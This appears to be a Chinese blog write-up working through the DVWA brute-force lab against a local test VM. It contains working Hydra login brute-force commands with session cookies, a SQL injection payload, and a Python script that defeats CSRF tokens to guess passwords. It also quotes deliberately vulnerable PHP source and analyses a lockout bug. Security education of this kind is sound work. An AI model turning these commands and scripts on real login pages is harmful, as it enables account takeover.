前前言
本人的个人博客网址:www.QmSharing.space,所有的文章都可以在里面找到,欢迎各位大佬前来参观并留下宝贵的建议,大家一起学习一起成长 :-)
前言
最近想要再系统地过一遍一些基础的渗透漏洞知识, 看到网上不少人推荐 DVWA 这个平台, 就试了一下, 发现的确很适合初学者, 最主要有源码比较这个功能让人能很好地理解利用这个漏洞的原理和过程. 我知道如果 Google 能搜出很多关于 DVWA 的攻略和总结, 本系列文章也是我学习时的总结, 带有很强的主观意识, 也不保证写的全是正确的, 欢迎大家在留言区留言, 大家一起讨论 :)
本题任务:
通过暴力破解出管理员 admin 的密码. 还有四个隐藏用户等待你的挖掘 ;)
爆破时遇到问题:
Hydra 爆破时返回的结果不正确, 而且返回的就是字典头几个数值:
我一开始直接用下面的命令进行爆破:
hydra 172.28.128.4 -l admin -P Downloads/password.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."
爆破结果如下:
这结果肯定不对... 直接把前15个爆破密码返回了. 造成这个情况的可能性有两个, 都可以通过 curl 指令来检查. 第一个可能性是你的网络出问题了, 有时 hydra 在连不上服务器时会错误的认为返回的结果是正确的, 然而我当时返回的是 proxy error. 第二个可能性是你漏了一些必要参数(Cookies), 这个的确容易忽略, 这里我用 wireshark 进行抓包查看问题.
# 附上怎么用 curl 指令来检测, 注意 get 参数的连接符 "&", 要 escape 它不然会出问题的
curl -b "security=low;PHPSESSID=f2uni4k3m1ftf4o7vunc1qud30" -o result.html http://172.28.128.4/vulnerabilities/brute/index.php?username=admin\&password=admin\&Login=Login
可以看出它被重定向了, 查看详细信息会发现它被重定向回 "Location: ../../login.php\r\n", 也就是一开始的登录界面, (这个登录界面是你登录 dvwa 的界面, 而不是你进行爆破的登录界面), 通过 firefox 抓包, 可以看到我们每次提交 get 请求时会先提交 PHPSESSID 来帮助服务器确定你已经登录了, 否则就会被重定向.
解决方法就是让 hydra 在提交请求时带上 Cookies, 因此正确的写法是:
hydra 172.28.128.4 -l admin -P Downloads/password.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie:PHPSESSID=f2uni4k3m1ftf4o7vunc1qud30;security=low;"
嗯... 我当时也以为这样肯定就对了, 但得到了和第一次错误时一样的结果(这里就不上图了). 继续 wireshark 抓包, 发现
这... 怎么少了个 P, 其实吧, 因为 H=Cookie:PHPSESSID=... 这样写是错的, 正确的写法是 H=Cookie:[空格]PHPSESSID=... , 我不清楚是不是就我一个犯了这么低级的问题, 但我觉得这个问题挺隐蔽的, 不抓包分析你会觉得一头雾水, 希望能帮到还无法成功爆破的人. 最终的指令是:
hydra 172.28.128.4 -l admin -P Downloads/password.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie: PHPSESSID=f2uni4k3m1ftf4o7vunc1qud30;security=low;"
Low
的确毫无安全措施, 除了能被爆破还能被 SQL 注入(本题并不是讨论 SQL 注入, 所以这里略), 利用 ' or 1=1 limit 1,1 # 就能把几个用户全部爆破出来. 然后通过显示的图片可以大概猜到用户名是什么, 继续用字典进行爆破.
服务器端源码:
// 直接获取并不过滤
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// 不过滤 + 拼接 SQL 语句 = gg
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 密码正确, 显示用户信息
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
Medium
这个级别直接使用上一个级别用的 hydra 语句(需要修改 Cookie, 不然还是在 Low 级别驰骋)能无压力地进行爆破, 时间上稍微会长一点, 但结果已经是能被爆破出来. 服务端的改动如下:
// 过滤了 $user 变量
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 这个过滤意义不大, 毕竟有 md5
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// 依然直接拼接 SQL, 不过这次利用不了 SQL 注入, 不过你要解决的问题好像并不是 SQL 注入吧
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 密码正确, 显示用户信息
}
else {
// 密码错误, 这里增加了一个睡眠时间, 没什么卵用
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
这个相比于 Low 等级多加了 mysqli_real_escape_string
函数来防止 SQL 注入, 但并没有从本质上解决爆破问题(差点没看到新添加的 sleep(2), 但你觉得黑客会少那几分钟(难道黑客不会开多线程)吗?)
High
这个级别看起来和之前的级别长得差不多, 但是看一下页面源码:
<form action="#" method="GET">
Username:<br>
<input type="text" name="username"><br>
Password:<br>
<input type="password" autocomplete="off" name="password"><br>
<br>
<input type="submit" value="Login" name="Login">
<!-- 这里多了一个 token -->
<input type="hidden" name="user_token" value="65ff90b6c8081628666346efa948bbf1">
</form>
它是在表单添加了一个隐藏的 token, 这个 token 在表单被提交的时候一同提交, 网站先验证这个 token 是否与其在服务端保存的相同, 不相同则拒绝服务. 这个 token 主要用来防止 CSRF 漏洞, 也顺带把 hydra 给防了.
但这也并不代表它已经无懈可击了, 我们可以通过 python(或其他手段) 来先获得一次界面的 token 后, 再通过下一次的尝试发送出去, 这样也是能实现爆破的, 其他的比如登录失败时随机睡眠个几秒的也是不能解决问题的.
附上当时写的 python 脚本:
#!/usr/bin/env python
from bs4 import BeautifulSoup
import urllib2
import sys
header = {'Host': '172.28.128.4',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept-Encoding': 'gzip, deflate, sdch',
'Cookie': 'security=high; PHPSESSID=3fnsi3uvhb068gmb3a1d1vnpb5'}
requrl = "http://172.28.128.4/vulnerabilities/brute/"
def get_token_and_length(requrl, header, is_first=False):
req = urllib2.Request(url=requrl, headers=header)
response = urllib2.urlopen(req)
the_page = response.read()
length = len(the_page)
soup = BeautifulSoup(the_page, "html.parser")
# get the user_token
user_token = soup.select('input[type="hidden"]')[0].get('value')
return (user_token.decode('unicode-escape').encode('utf-8'), length)
wrong_len = 0 # 第一次的请求输入一个必定错误的密码, 来获得密码错误时界面的大小, 然后用它来进行匹配, 密码正确的界面应该与它大小不同, 不过这个方法仅适用本例子, 其他的要具体情况具体分析
user_token = get_token_and_length(requrl, header)[0]
i = 0
with open("/home/j4nobdy/Downloads/password.txt") as fd:
for line in fd.readlines():
requrl = "http://172.28.128.4/vulnerabilities/brute/" + \
"?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
print i, 'admin', line.strip(),
res = get_token_and_length(requrl, header)
user_token = res[0]
length = res[1]
if i == 0:
wrong_len = length
elif wrong_len != length:
sys.exit('Congrat! Found password!')
i = i + 1
print 'No valid password found!'
Impossible
这个级别我都直接上源码进行分析:
<?php
// 在处理前先提前验证了是否提交了所有参数, 一个没有提交都不进行处理, 虽然对安全方面没有多少提高, 但是一种正确的逻辑, 并且也改用了 POST 请求来传递敏感数据
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// 1. 增加 token 以防止 CSRF
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
// 过滤时多用了一个 stripslashes 去斜杠函数
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// 2.使用了 PDO 预编译语句来与数据库通信, 而不是简单的拼接查询语句, 完全防止了 SQL 注入.
$data = $db->prepare( 'SELECT failed_login, last_login, now() as cur_time FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// 以下本次改动的核心
// 增加了登录错误次数限制(本质上解决问题的方法), 这里作者还提醒了如果乱用反馈信息的话, 会让攻击者可以对账户进行枚举. 不过其实这样解决问题还是有个不太安全的地方, 如果有人恶意对一个已知号码进行多次错误, 就会导致被攻击用户被锁定, 也间接造成了拒绝服务攻击, 所以可以考虑在登录前再进行一次验证, 不过其实已经够用了.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = strtotime( $row[ 'cur_time' ] );
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// 显示之前错误登录的次数
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
// 随机睡眠 2-4 秒
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
bugs:
-
它这个判断被锁定时间的方法好像有问题, 不清楚是不是和系统或时区有关, 但是并不能成功锁定用户, 所以我又写了个基于 post 请求的 payload 成功爆破出密码了.
...... // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); // 注意这里, 用的是 php 的 time() 函数 // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } ......
// Set the last login time, 这里设置时是用 mysql 的 now() 函数 $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute();
对比上面两段代码, 可以知道它在设置最后登录时间(last_login)时使用的是 mysql 内置的 now() 来获得时间, 然而在检验的时候却是使用了 php 的 time() 函数来获得时间, 理论上来说, 拿到的时间应该是一样的, 然而在我的测试环境中 time() 拿到的时间总是大于 now(), 所以导致账户每次一被锁定就立刻会被解锁, 从而造成了漏洞存在, 我觉得应该把第一段代码改成下面这样, 统一一下时间的获取方式, 也避免出现这种漏洞.
// 从数据库拿数据时多获取一个现在时间 cur_time $data = $db->prepare( 'SELECT failed_login, last_login, now() as cur_time FROM users WHERE user = (:user) LIMIT 1;' ); ...... // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = $row[ 'cur_time' ]; // 用这个 cur_time 来作为判断条件
我发现用户名输入中文的话, 即使在 Impossible 级别, 也会出现界面崩溃的情况, 估计是 PDO 的编码问题.
彩蛋
本题其实还有4个隐藏用户可以被爆破出来, 欢迎大家来 我的博客 进行查看和交流 :-)